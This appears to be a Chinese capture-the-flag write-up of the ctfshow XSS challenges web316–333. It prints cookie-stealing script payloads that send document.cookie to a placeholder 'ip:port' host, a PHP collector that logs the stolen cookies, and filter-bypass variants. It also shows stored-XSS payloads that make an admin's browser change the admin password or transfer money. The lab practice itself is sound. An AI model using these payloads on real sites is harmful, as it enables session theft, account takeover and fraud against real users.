XSS
web316
题目有个允许我们自定义输入的文本框 那我们用简单的方式测试一下 是否存在XSS漏洞
使用如下命令测试 然后生成链接
<script>alert(233)</script>
发现给了我们反馈
不过我们还是不确定 即使存在payload 要怎么样拿到flag 去百度搜搜XSS实战中最可能做什么操作
我们在这篇博客找到如下的一段话XSS博客链接
那很有可能 我们需要获取到管理员的cookie了。
为了拿到这个cookie 我们需要一个有公网IP的机器去接收得到的cookie 这里我们选择用vps
整vps 还有配置对外映射 这一步是这道题最难的部分
贴一个vps链接 嘎嘎便宜 大概选择2核2g的就可以了 一个月几块就好了 vps的链接vps链接
然后就是对外端口映射了 一般的便宜的vps大概有10个免费的可选择的端口 得确定好这十个端口的范围 如果是自选的 请自己在vps网站添加好映射 手动添加方法参考花生壳的文章 博主这里是windows系统(因为还挂了个mc服务器的自动更新系统 还有点空间)
还有就是配置对外的网站服务了 这里我们为了简单 采用phpStudy 链接在这phpStudy下载链接
使用教程在这phpStudy V8 使用手册 - phpStudy官网
然后配置好Apache或者Nginx之后 在我们选择的路径下创建一个getCookieTest.php 然后再看下下面把语句粘贴进去保存 师傅们一定要有耐心!!!
XSS语句如下:
<script>document.location.href="http://xx:端口号/getCookieTest.php?cookie="+document.cookie</script>
我这里创建的getCookieTest的内容如下:
<?php
file_put_contents('cookie.txt', $_GET['cookie']."\n", FILE_APPEND);
?>
也创建一个cookie.txt 最后结果显示在这里面 师傅们完成一道题可用删一次内容 不然看起来很乱哈哈 最好把payload也复制一下到什么地方存储一下 不然每次都要重新填ip怪麻烦的
然后就拿到了 不过这里可能有时候会拿不到 多试几次就好了 或者重新生成环境
web317
题目说加了一点过滤 那我们先试试原来的方法 看看过滤了什么情况
尝试了一下script的方式拿不到flag了
测试了一下 以下两种方式能执行 这里我们选用第一种
<body οnlοad="alert('XSS')">
<svg οnlοad="alert('XSS')">
语句如下
<body onload="window.location.href='http://ip:端口/getCookieTest.php?cookie='+document.cookie"></body>
执行之后稍等一会 flag就来了
web318
不知道过滤了什么 上一题的payload也成功了
web319
不知道过滤了什么 上一题的payload也成功了
web320
这里之前的payload行不通了 试试到底过滤了什么
body正常
onload正常
然后测试了一下 发现一包含空格就刷新页面了
那就想办法用其他方式表达空格试试看
我问deepseek找到好几种方式 两种是可用的 注意最后的>的后面不要有空格 不然也会被过滤(我被坑了哈哈
1.tab的方式代替空格 这里可能看上去是空格 但是是tab的
<body onload="alert(1)">
2.用 /
或注释 /**/
代替空格
<body/onload="alert(1)">
<body/**/onload="alert(1)">
最后payload
<body/**/onload="window.location.href='http://ip:端口/getCookieTest.php?cookie='+document.cookie"></body>
web321
上一题的payload也可以
web322
上上一题的payload也可以
web323
上上上一题的payload也可以
web324
上上上上一题的payload也可以
web325
上上上上上一题的payload也可以
web326
上上上上上上一题的payload也可以
web327
这道题有点不一样了
收件人和寄件人都填admin了 其他随便填
然后信的内容依然用之前的payload 就可以拿到flag了
web328
这道题是真不一样了哈哈
试了一下用户名admin 密码用之前的payload 或者用户名密码都用payload 或者用户名payload 密码大于6位 都不行 可能操作点不在这里 再看看有没有其他地方可用操作
点了一下 发现还有个注册页和用户管理页 但是用户管理员需要管理员才能查看
还是看看注册页吧 尝试注册一下admin 但是失败了
然后试试看塞payload 还是失败了 上面的payload估计不行了 换个payload试试看 不可能没注入点啊hh
试了一下script标签的成功了
注册的时候在账户名和密码的地方 都可以包含以下的payload 等管理员访问用户管理的时候 就可以获得管理员的cookie了
<script>location.href="http://ip:端口号/getCookieTest.php?cookie="+document.cookie</script>
然后看看cookie.txt 发现似乎是管理员身份的cookie
复制最新生成的cookie
在用户管理界面用最新的管理员cookie 我这里是抓包了这个页面
然后修改发包 如下
响应包里就是flag了
web329
这道题乍一看 和上道题一样 应该只是过滤或限制了什么 先试试上一题的payload好了
试了一下cookie一样能拿到 但是拿到这个cookie重发查询不到数据 可能拿到了cookie 但是管理员用一次就失效了 反正就是拿到的cookie失效了
试了一下 实在没办法了 看了一下ctfshow b站官方的视频 用了一下payload 在管理员访问的时候 就拿flag
<script>
$('.laytable-cell-1-0-1').each(function(index,value){
if(value.innerText.indexOf('ctfshow{')>-1)
{location.href='http://ip:端口号/getCookieTest.php?cookie='+value.innerText}
});
</script>
然后查看cookie.txt 就可以看到flag了
web330
还是上一题的网站模板 但是发现多了个修改密码的地方 估计是在这里修改了 大概率是用XSS然后等管理员访问 修改掉管理员密码 复制修改密码的url 修改一下 构成我们的payload
<script>location.href="http://127.0.0.1/api/change.php?p=1234567"</script>
然后过几十秒 然后去尝试用账号admin 密码1234567 去登陆 登陆之后就可以看到flag了 但是他因为我们的xss会跳转到更改到修改密码的页面 所以尽快复制 不行的话 就返回 再去尝试快速复制哈哈 登陆成功之后 用户名旁边就是flag了
web331
跟上道题的模板一样 也尝试修改密码 发现不是get传参了 抓包了一下 发包是post传参 如下
那我们的payload也要用post请求了 抄了mumuzi师傅的wp 方式如下:
<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123456'}});</script>
第一次尝试没成功 不知道是不是我搞坏了环境 摧毁实例 重新生成试试看 第二次就成功了
web332
这道题较上面相比 不一样的就是多了转账汇款 个人账户 还有就是购买flag了 大概率是想办法给自己9999元 然后买flag
这个地方可以转账汇款 大概应该是写一个XSS然后让admin每次访问就给我们转钱 那注册一下账号 收款人填自己试试看
一开始注册了一个正常账号 又注册了一个包含xss的账号
内容如下 其中u里面是用户名 a是金额
<script>$.ajax({url:'api/amount.php',type:'post',data:{u:'swagree',a:'10000'}});</script>
转账成功 然后就有钱了 然后购买flag就好了
web333
上一道的payload也生效了 不知道为什么